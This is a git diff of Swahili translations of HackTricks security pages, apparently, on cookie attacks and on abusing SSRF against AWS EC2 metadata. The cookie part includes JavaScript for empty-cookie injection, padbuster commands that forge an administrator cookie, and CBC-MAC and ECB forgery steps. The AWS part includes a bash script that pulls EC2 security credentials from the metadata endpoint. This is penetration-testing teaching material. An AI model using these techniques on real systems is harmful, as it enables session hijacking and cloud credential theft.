Katika hali hii, mchomaji anadanganya mhanga kutumia kuki maalum kuingia. Ikiwa programu haipangi kuki mpya wakati wa kuingia, mchomaji, akiwa na kuki ya awali, anaweza kujifanya kuwa mhanga. Mbinu hii inategemea mhanga kuingia kwa kuki iliyotolewa na mchomaji.
|
Katika hali hii, mchomaji anadanganya mhanga kutumia kuki maalum kuingia. Ikiwa programu haipangi kuki mpya wakati wa kuingia, mchomaji, akiwa na kuki ya awali, anaweza kujifanya kuwa mhanga. Mbinu hii inategemea mhanga kuingia kwa kuki iliyotolewa na mchomaji.
|
||||||
|
|
||||||
|
@ -120,9 +128,9 @@ Ikiwa umepata **XSS katika subdomain** au unadhibiti **subdomain**, soma:
|
||||||
[cookie-tossing.md](cookie-tossing.md)
|
[cookie-tossing.md](cookie-tossing.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Kutoa Kikao
|
### Kutoa Kikao (Session Donation)
|
||||||
|
|
||||||
Hapa, mchomaji anashawishi mhanga kutumia kuki ya kikao cha mchomaji. Mhanga, akiamini wameingia kwenye akaunti yao wenyewe, bila kukusudia watatekeleza vitendo katika muktadha wa akaunti ya mchomaji.
|
Hapa, mchomaji anamshawishi mhanga kutumia kuki ya kikao cha mchomaji. Mhanga, akiamini kuwa wameingia kwenye akaunti yao wenyewe, watafanya vitendo kwa bahati mbaya katika muktadha wa akaunti ya mchomaji.
|
||||||
|
|
||||||
Ikiwa umepata **XSS katika subdomain** au unadhibiti **subdomain**, soma:
|
Ikiwa umepata **XSS katika subdomain** au unadhibiti **subdomain**, soma:
|
||||||
|
|
||||||
|
@ -132,23 +140,23 @@ Ikiwa umepata **XSS katika subdomain** au unadhibiti **subdomain**, soma:
|
||||||
|
|
||||||
### [Vidakuzi vya JWT](../hacking-jwt-json-web-tokens.md)
|
### [Vidakuzi vya JWT](../hacking-jwt-json-web-tokens.md)
|
||||||
|
|
||||||
Bonyeza kwenye kiungo kilichotangulia kupata ukurasa unaoeleza dosari zinazowezekana katika JWT.
|
Bonyeza kwenye kiungo hapo juu kufikia ukurasa unaoeleza dosari zinazowezekana katika JWT.
|
||||||
|
|
||||||
Vidakuzi vilivyotumia JSON Web Tokens (JWT) pia vinaweza kuwa na udhaifu. Kwa habari kamili kuhusu dosari zinazowezekana na jinsi ya kuzitumia, kupata hati iliyounganishwa kuhusu kuchomwa kwa JWT kunapendekezwa.
|
Vidakuzi vilivyotumia JSON Web Tokens (JWT) pia vinaweza kuwa na mapungufu. Kwa habari kamili kuhusu dosari zinazowezekana na jinsi ya kuzitumia, kupata hati iliyounganishwa kuhusu kuchomwa kwa JWT kunapendekezwa.
|
||||||
|
|
||||||
### Udukuzi wa Ombi la Msalaba kwa Tovuti (CSRF)
|
### Udanganyifu wa Ombi la Msingi wa Tovuti (CSRF)
|
||||||
|
|
||||||
Mashambulizi haya yanawalazimisha mtumiaji aliyeingia kutekeleza vitendo visivyotakiwa kwenye programu ya wavuti ambayo wamehakikiwa kwa sasa. Wachomaji wanaweza kutumia vidakuzi ambavyo huletwa moja kwa moja na kila ombi kwenye tovuti yenye udhaifu.
|
Mashambulizi haya yanalazimisha mtumiaji aliyeingia kufanya vitendo visivyotakiwa kwenye programu ya wavuti ambayo kwa sasa wamehakikiwa. Wachomaji wanaweza kutumia vidakuzi ambavyo huletwa moja kwa moja na kila ombi kwa tovuti yenye mapungufu.
|
||||||
|
|
||||||
### Vidakuzi Tupu
|
### Vidakuzi Tupu
|
||||||
|
|
||||||
(Angalia maelezo zaidi katika [utafiti wa awali](https://blog.ankursundara.com/cookie-bugs/)) Vivinjari huruhusu uundaji wa vidakuzi bila jina, ambayo inaweza kuonyeshwa kupitia JavaScript kama ifuatavyo:
|
(Angalia maelezo zaidi katika [utafiti wa awali](https://blog.ankursundara.com/cookie-bugs/)) Vivinjari huruhusu uundaji wa vidakuzi bila jina, ambayo inaweza kudhihirishwa kupitia JavaScript kama ifuatavyo:
|
||||||
```js
|
```js
|
||||||
document.cookie = "a=v1"
|
document.cookie = "a=v1"
|
||||||
document.cookie = "=test value;" // Setting an empty named cookie
|
document.cookie = "=test value;" // Setting an empty named cookie
|
||||||
document.cookie = "b=v2"
|
document.cookie = "b=v2"
|
||||||
```
|
```
|
||||||
Matokeo katika kichwa cha kidakuzi kilichotumwa ni `a=v1; thibitisha thamani; b=v2;`. Kwa kushangaza, hii inaruhusu udhibiti wa vidakuzi ikiwa kidakuzi cha jina tupu kimesetwa, hivyo kudhibiti vidakuzi vingine kwa kuweka kidakuzi tupu kwa thamani maalum:
|
Matokeo katika kichwa cha kidakuzi kilichotumwa ni `a=v1; thibitisha thamani; b=v2;`. Kwa kushangaza, hii inaruhusu udhibiti wa vidakuzi ikiwa kidakuzi cha jina tupu kimesetwa, ikidhibiti vidakuzi vingine kwa kuweka kidakuzi tupu kwa thamani maalum:
|
||||||
```js
|
```js
|
||||||
function setCookie(name, value) {
|
function setCookie(name, value) {
|
||||||
document.cookie = `${name}=${value}`;
|
document.cookie = `${name}=${value}`;
|
||||||
|
@ -158,47 +166,47 @@ setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's valu
|
||||||
```
|
```
|
||||||
Hii inapelekea kivinjari kutuma kichwa cha cookie kinachotafsiriwa na kila seva ya wavuti kama cookie iliyoitwa `a` yenye thamani `b`.
|
Hii inapelekea kivinjari kutuma kichwa cha cookie kinachotafsiriwa na kila seva ya wavuti kama cookie iliyoitwa `a` yenye thamani `b`.
|
||||||
|
|
||||||
#### Kosa la Chrome: Shida ya Kipengee cha Kanuni ya Surrogate ya Unicode
|
#### Kosa la Chrome: Shida ya Nambari ya Kanuni ya Surrogate ya Unicode
|
||||||
```js
|
```js
|
||||||
document.cookie = "\ud800=meep";
|
document.cookie = "\ud800=meep";
|
||||||
```
|
```
|
||||||
Hii inasababisha `document.cookie` kutoa matokeo ya herufi tupu, ikionyesha uharibifu wa kudumu.
|
Hii inasababisha `document.cookie` kutoa matokeo ya herufi tupu, ikionyesha uharibifu wa kudumu.
|
||||||
|
|
||||||
#### Kupitisha Cookies Kutokana na Matatizo ya Upatanishi
|
#### Kupitisha Cookie Kutokana na Matatizo ya Upatanishi
|
||||||
|
|
||||||
( Angalia maelezo zaidi katika [utafiti wa awali](https://blog.ankursundara.com/cookie-bugs/)) Seva kadhaa za wavuti, ikiwa ni pamoja na zile za Java (Jetty, TomCat, Undertow) na Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), zinashughulikia vibaya herufi za cookie kutokana na msaada uliopitwa na wakati wa RFC2965. Huzisoma thamani ya cookie iliyofungwa mara mbili kama thamani moja hata kama ina pamoja na vipande vya nukta nyingi, ambavyo kawaida vinapaswa kutenganisha jozi za funguo-na-thamani:
|
( Angalia maelezo zaidi katika [utafiti wa awali](https://blog.ankursundara.com/cookie-bugs/)) Seva kadhaa za wavuti, ikiwa ni pamoja na zile za Java (Jetty, TomCat, Undertow) na Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), zinashughulikia vibaya herufi za cookie kutokana na msaada uliopitwa wa RFC2965. Huzisoma thamani za cookie zilizofungwa kwa alama mbili za nukta kama thamani moja hata kama ina pamoja na vipande vya nukta-kuambatana, ambavyo kawaida vinapaswa kutenganisha jozi za funguo-thamani:
|
||||||
```
|
```
|
||||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||||
```
|
```
|
||||||
#### Mapungufu ya Uvujaji wa Cookie
|
#### Mapungufu ya Uvujaji wa Cookie
|
||||||
|
|
||||||
(Angalia maelezo zaidi katika [utafiti wa awali](https://blog.ankursundara.com/cookie-bugs/)) Uchambuzi usio sahihi wa cookies na seva, hasa Undertow, Zope, na wale wanaotumia `http.cookie.SimpleCookie` na `http.cookie.BaseCookie` ya Python, hutoa fursa za mashambulizi ya kuingiza cookie. Seva hizi hazitenganishi ipasavyo mwanzo wa cookies mpya, kuruhusu wadukuzi kughushi cookies:
|
(Angalia maelezo zaidi katika [utafiti wa awali](https://blog.ankursundara.com/cookie-bugs/)) Uchambuzi usio sahihi wa cookies na seva, hasa Undertow, Zope, na wale wanaotumia `http.cookie.SimpleCookie` na `http.cookie.BaseCookie` ya Python, hutoa fursa za mashambulizi ya kuingiza cookie. Seva hizi hazifanikiwi kufafanua kwa usahihi mwanzo wa cookies mpya, kuruhusu wachomaji kudanganya cookies:
|
||||||
|
|
||||||
* Undertow inatarajia cookie mpya mara moja baada ya thamani iliyonukuliwa bila punto-virgula.
|
- Undertow inatarajia cookie mpya mara moja baada ya thamani iliyonukuliwa bila ya mkato.
|
||||||
* Zope inatafuta comma kuanza kuchambua cookie inayofuata.
|
- Zope inatafuta comma kuanza kuchambua cookie inayofuata.
|
||||||
* Darasa za cookie za Python huanza kuchambua kwenye herufi ya nafasi.
|
- Darasa za cookie za Python huanza kuchambua kwenye herufi ya nafasi.
|
||||||
|
|
||||||
Mapungufu haya ni hatari hasa katika maombi ya wavuti yanayotegemea ulinzi wa CSRF kulingana na cookies, kwani inaruhusu wadukuzi kuingiza cookies za CSRF zilizoghushi, hivyo kupitisha hatua za usalama. Tatizo hili linazidishwa na jinsi Python inavyoshughulikia majina ya cookies yanayorudiwa, ambapo tukio la mwisho linapitisha yale ya awali. Pia inaleta wasiwasi kwa cookies za `__Secure-` na `__Host-` katika muktadha usio salama na inaweza kusababisha upitishaji wa idhini wakati cookies zinapitishwa kwa seva za nyuma zinazoweza kughushiwa.
|
Mapungufu haya ni hatari hasa katika maombi ya wavuti yanayotegemea ulinzi wa CSRF kulingana na cookies, kwani inaruhusu wachomaji kuingiza cookies za CSRF zilizodanganywa, hivyo kupitisha hatua za usalama. Tatizo hili linazidishwa na jinsi Python inavyoshughulikia majina ya cookies yanayorudiwa, ambapo tukio la mwisho linapuuza yale ya awali. Pia inaleta wasiwasi kwa cookies za `__Secure-` na `__Host-` katika muktadha usio salama na inaweza kusababisha upitishaji wa idhini wakati cookies zinapitishwa kwa seva za nyuma zinazoweza kudanganywa.
|
||||||
|
|
||||||
### Ukaguzi wa Ziada wa Cookies Zenye Mapungufu
|
### Ukaguzi wa Ziada wa Cookies Zenye Mapungufu
|
||||||
|
|
||||||
#### **Uchunguzi wa Msingi**
|
#### **Uchunguzi wa Msingi**
|
||||||
|
|
||||||
* **Cookie** ni **sawa** kila wakati unapoj**iunga**.
|
- **Cookie** ni **sawa** kila wakati unapoj**iunga**.
|
||||||
* Tolea nje na jaribu kutumia cookie hiyo hiyo.
|
- Tolea nje na jaribu kutumia cookie hiyo hiyo.
|
||||||
* Jaribu kuingia kwa kutumia vifaa 2 (au vivinjari) kwenye akaunti moja kwa kutumia cookie hiyo hiyo.
|
- Jaribu kuingia kwa kutumia vifaa 2 (au vivinjari) kwenye akaunti moja kwa kutumia cookie hiyo hiyo.
|
||||||
* Angalia kama cookie ina habari yoyote ndani yake na jaribu kuibadilisha.
|
- Angalia kama cookie ina habari yoyote ndani yake na jaribu kuibadilisha.
|
||||||
* Jaribu kuunda akaunti kadhaa zenye majina yanayofanana na uangalie kama unaweza kuona mfanano.
|
- Jaribu kuunda akaunti kadhaa zenye majina yanayofanana na uangalie kama unaweza kuona mfanano.
|
||||||
* Angalia chaguo la "**kumbuka**" ikiwepo kuona jinsi inavyofanya kazi. Ikiwepo na inaweza kuwa na mapungufu, tumia daima cookie ya **kumbuka** bila cookie nyingine yoyote.
|
- Angalia chaguo la "**kumbuka**" ikiwepo kuona jinsi inavyofanya kazi. Ikiwepo na inaweza kuwa na mapungufu, tumia daima cookie ya **kumbuka** bila cookie nyingine yoyote.
|
||||||
* Angalia kama cookie ya awali inafanya kazi hata baada ya kubadilisha nenosiri.
|
- Angalia kama cookie ya awali inafanya kazi hata baada ya kubadilisha nenosiri.
|
||||||
|
|
||||||
#### **Mashambulizi ya Cookies ya Juu**
|
#### **Mashambulizi ya Cookies ya Juu**
|
||||||
|
|
||||||
Ikiwa cookie inabaki sawa (au karibu) unapojiunga, hii inamaanisha labda cookie hiyo inahusiana na uga fulani wa akaunti yako (labda jina la mtumiaji). Kisha unaweza:
|
Ikiwa cookie inabaki sawa (au karibu) unapojiunga, hii inamaanisha labda cookie hiyo inahusiana na uga fulani wa akaunti yako (labda jina la mtumiaji). Kisha unaweza:
|
||||||
|
|
||||||
* Jaribu kuunda akaunti nyingi zenye majina ya mtumiaji vinavyofanana sana na jaribu **kudhan** jinsi algorithm inavyofanya kazi.
|
- Jaribu kuunda akaunti nyingi zenye majina ya mtumiaji vinavyofanana sana na jaribu **kudhanii** jinsi algorithm inavyofanya kazi.
|
||||||
* Jaribu **bruteforce jina la mtumiaji**. Ikiwa cookie inahifadhi tu kama njia ya uwakilishi kwa jina lako la mtumiaji, basi unaweza kuunda akaunti na jina la mtumiaji "**Bmin**" na **bruteforce** kila **biti** ya cookie yako kwa sababu moja ya cookies utakazozijaribu itakuwa ile inayomilikiwa na "**admin**".
|
- Jaribu **bruteforce jina la mtumiaji**. Ikiwa cookie inahifadhi tu kama njia ya uthibitisho kwa jina lako la mtumiaji, basi unaweza kuunda akaunti na jina la mtumiaji "**Bmin**" na **bruteforce** kila **biti** ya cookie yako kwa sababu moja ya cookies utakazozijaribu itakuwa ile inayomilikiwa na "**admin**".
|
||||||
* Jaribu **Padding Oracle** (unaweza kufichua maudhui ya cookie). Tumia **padbuster**.
|
- Jaribu **Padding Oracle** (unaweza kufichua maudhui ya cookie). Tumia **padbuster**.
|
||||||
|
|
||||||
**Padding Oracle - Mifano ya Padbuster**
|
**Padding Oracle - Mifano ya Padbuster**
|
||||||
```bash
|
```bash
|
||||||
|
@ -214,36 +222,57 @@ Padbuster itafanya majaribio kadhaa na itakuuliza ni hali ipi ni hali ya kosa (i
|
||||||
|
|
||||||
Kisha itaanza kufichua cookie (inaweza kuchukua dakika kadhaa)
|
Kisha itaanza kufichua cookie (inaweza kuchukua dakika kadhaa)
|
||||||
|
|
||||||
Ikiwa shambulio limefanikiwa, basi unaweza jaribu kufichua string ya chaguo lako. Kwa mfano, ikiwa ungependa **kuficha** **mtumiaji=msimamizi**
|
Ikiwa shambulio limefanikiwa, basi unaweza kujaribu kufichua string ya chaguo lako. Kwa mfano, ikiwa ungependa **kuficha** **mtumiaji=msimamizi**
|
||||||
```
|
```
|
||||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||||
```
|
```
|
||||||
Utekelezaji huu utakupa kuki iliyofichwa na kodishwa kwa usahihi na kifurushi **user=msimamizi** ndani yake.
|
Hii utekelezaji utakupa kuki iliyofichwa na kuandikwa kwa usahihi na kificho chenye neno **user=administrator** ndani yake.
|
||||||
|
|
||||||
**CBC-MAC**
|
**CBC-MAC**
|
||||||
|
|
||||||
Labda kuki inaweza kuwa na thamani fulani na inaweza kusainiwa kwa kutumia CBC. Kisha, uadilifu wa thamani ni saini iliyoumbwa kwa kutumia CBC na thamani ile ile. Kwa kuwa inapendekezwa kutumia IV kama vector ya null, aina hii ya ukaguzi wa uadilifu inaweza kuwa hatarini.
|
Labda kuki inaweza kuwa na thamani fulani na inaweza kusainiwa kwa kutumia CBC. Kisha, uadilifu wa thamani ni saini iliyoumbwa kwa kutumia CBC na thamani ile ile. Kwa kuwa inapendekezwa kutumia IV kama vector ya sifuri, aina hii ya ukaguzi wa uadilifu inaweza kuwa hatarini.
|
||||||
|
|
||||||
**Shambulio**
|
**Shambulio**
|
||||||
|
|
||||||
1. Pata saini ya jina la mtumiaji **msimamizi** = **t**
|
1. Pata saini ya jina la mtumiaji **administ** = **t**
|
||||||
2. Pata saini ya jina la mtumiaji **rator\x00\x00\x00 XOR t** = **t'**
|
2. Pata saini ya jina la mtumiaji **rator\x00\x00\x00 XOR t** = **t'**
|
||||||
3. Weka thamani **msimamizi+t'** katika kuki (**t'** itakuwa saini halali ya **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
|
3. Weka kwenye kuki thamani **administrator+t'** (**t'** itakuwa saini halali ya **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
|
||||||
|
|
||||||
**ECB**
|
**ECB**
|
||||||
|
|
||||||
Ikiwa kuki imefichwa kwa kutumia ECB inaweza kuwa hatarini.\
|
Ikiwa kuki imefichwa kwa kutumia ECB inaweza kuwa hatarini.\
|
||||||
Unapojiingia, kuki unayopokea lazima iwe ile ile daima.
|
Unapoingia kwenye kuki unayopokea lazima iwe ile ile daima.
|
||||||
|
|
||||||
**Jinsi ya kugundua na kushambulia:**
|
**Jinsi ya kugundua na kushambulia:**
|
||||||
|
|
||||||
Unda watumiaji 2 wenye data karibu sawa (jina la mtumiaji, nenosiri, barua pepe, n.k.) na jaribu kugundua mchoro fulani ndani ya kuki iliyotolewa
|
Unda watumiaji 2 wenye data karibu sawa (jina la mtumiaji, nenosiri, barua pepe, n.k.) na jaribu kugundua kielelezo ndani ya kuki iliyotolewa
|
||||||
|
|
||||||
Unda mtumiaji aitwaye kwa mfano "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" na angalia ikiwa kuna mchoro wowote katika kuki (kwa kuwa ECB inafichua kwa kutumia ufunguo sawa kila kizuizi, herufi zilizofichwa sawa zinaweza kuonekana ikiwa jina la mtumiaji limefichwa).
|
Unda mtumiaji aitwaye kwa mfano "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" na angalia ikiwa kuna kielelezo chochote kwenye kuki (kwa kuwa ECB inaficha kwa kutumia ufunguo sawa kila kibodi, herufi zilizofichwa zinaweza kuonekana ikiwa jina la mtumiaji limefichwa).
|
||||||
|
|
||||||
Inapaswa kuwepo mchoro (ukiwa na ukubwa wa kizuizi kilichotumiwa). Kwa hivyo, ukiwa unajua jinsi "a" nyingi zilivyofichwa unaweza kuunda jina la mtumiaji: "a"\*(ukubwa wa kizuizi)+"msimamizi". Kisha, unaweza kufuta mchoro uliofichwa wa kizuizi cha "a" kutoka kwenye kuki. Na utakuwa na kuki ya jina la mtumiaji "msimamizi".
|
Inapaswa kuwepo kielelezo (kwa ukubwa wa kibodi iliyotumiwa). Kwa hivyo, ukiwa unajua jinsi "a" nyingi zilivyofichwa unaweza kuunda jina la mtumiaji: "a"\*(ukubwa wa kibodi)+"admin". Kisha, unaweza kufuta kielelezo kilichofichwa cha kibodi ya "a" kutoka kwenye kuki. Na utakuwa na kuki ya jina la mtumiaji "admin".
|
||||||
|
|
||||||
## Marejeo
|
## Marejeo
|
||||||
|
|
||||||
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
||||||
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Try Hard**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||||
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
|
@ -2,33 +2,41 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
## AWS
|
## AWS
|
||||||
|
|
||||||
### Kutumia SSRF katika mazingira ya AWS EC2
|
### Kutumia SSRF katika mazingira ya AWS EC2
|
||||||
|
|
||||||
**Endpoint ya metadata** inaweza kufikiwa kutoka ndani ya mashine yoyote ya EC2 na hutoa habari muhimu kuhusu hiyo. Inapatikana kwenye url: `http://169.254.169.254` ([habari kuhusu metadata hapa](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
**Endpoint ya metadata** inaweza kufikiwa kutoka ndani ya mashine yoyote ya EC2 na inatoa habari muhimu kuhusu hiyo. Inapatikana kwa url: `http://169.254.169.254` ([habari kuhusu metadata hapa](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||||
|
|
||||||
Kuna **toleo 2** la endpoint ya metadata. **La kwanza** inaruhusu **kufikia** endpoint kupitia maombi ya **GET** (hivyo **SSRF yoyote inaweza kuitumia**). Kwa **toleo 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), unahitaji kuomba **tokeni** kwa kutuma ombi la **PUT** na **HTTP header** kisha kutumia tokeni hiyo kufikia metadata na HTTP header nyingine (hivyo ni **ngumu zaidi kuitumia** na SSRF).
|
Kuna **toleo 2** la endpoint ya metadata. **La kwanza** inaruhusu **kufikia** endpoint kupitia maombi ya **GET** (hivyo **SSRF yoyote inaweza kuidhuru**). Kwa **toleo 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), unahitaji kuomba **tokeni** kwa kutuma ombi la **PUT** na **HTTP header** kisha kutumia tokeni hiyo kufikia metadata na HTTP header nyingine (hivyo ni **ngumu zaidi kuidhuru** na SSRF).
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Tafadhali kumbuka kwamba ikiwa kifaa cha EC2 kinaimarisha IMDSv2, [**kulingana na nyaraka**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **jibu la ombi la PUT** litakuwa na **kikomo cha hatua 1**, kufanya iwe haiwezekani kufikia metadata ya EC2 kutoka kwenye chombo ndani ya kifaa cha EC2.
|
Tambua kwamba ikiwa kifaa cha EC2 kinafuata IMDSv2, [**kulingana na nyaraka**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **jibu la ombi la PUT** litakuwa na **kikomo cha hatua 1**, kufanya iwe haiwezekani kufikia metadata ya EC2 kutoka kwenye chombo ndani ya kifaa cha EC2.
|
||||||
|
|
||||||
Zaidi ya hayo, **IMDSv2** pia **itazuia maombi ya kupata tokeni ambayo yana kichwa cha `X-Forwarded-For`**. Hii ni ili kuzuia wakala wa kurudisha misimamo iliyopangwa vibaya kutoka kuweza kufikia hiyo.
|
Zaidi ya hayo, **IMDSv2** pia **itazuia maombi ya kupata tokeni ambayo yanajumuisha kichwa cha `X-Forwarded-For`**. Hii ni ili kuzuia wakala wa kurudisha misimamo iliyopangwa vibaya kutoka kuweza kufikia hiyo.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Unaweza kupata habari kuhusu [endpoints ya metadata katika nyaraka](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Katika script ifuatayo habari muhimu inapatikana kutoka kwake:
|
Unaweza kupata habari kuhusu [endpoints ya metadata katika nyaraka](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Katika hati ya kufuatia, habari muhimu inapatikana kutoka kwake:
|
||||||
```bash
|
```bash
|
||||||
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
||||||
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
||||||
|
@ -88,13 +96,13 @@ echo ""
|
||||||
echo "EC2 Security Credentials"
|
echo "EC2 Security Credentials"
|
||||||
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
||||||
```
|
```
|
||||||
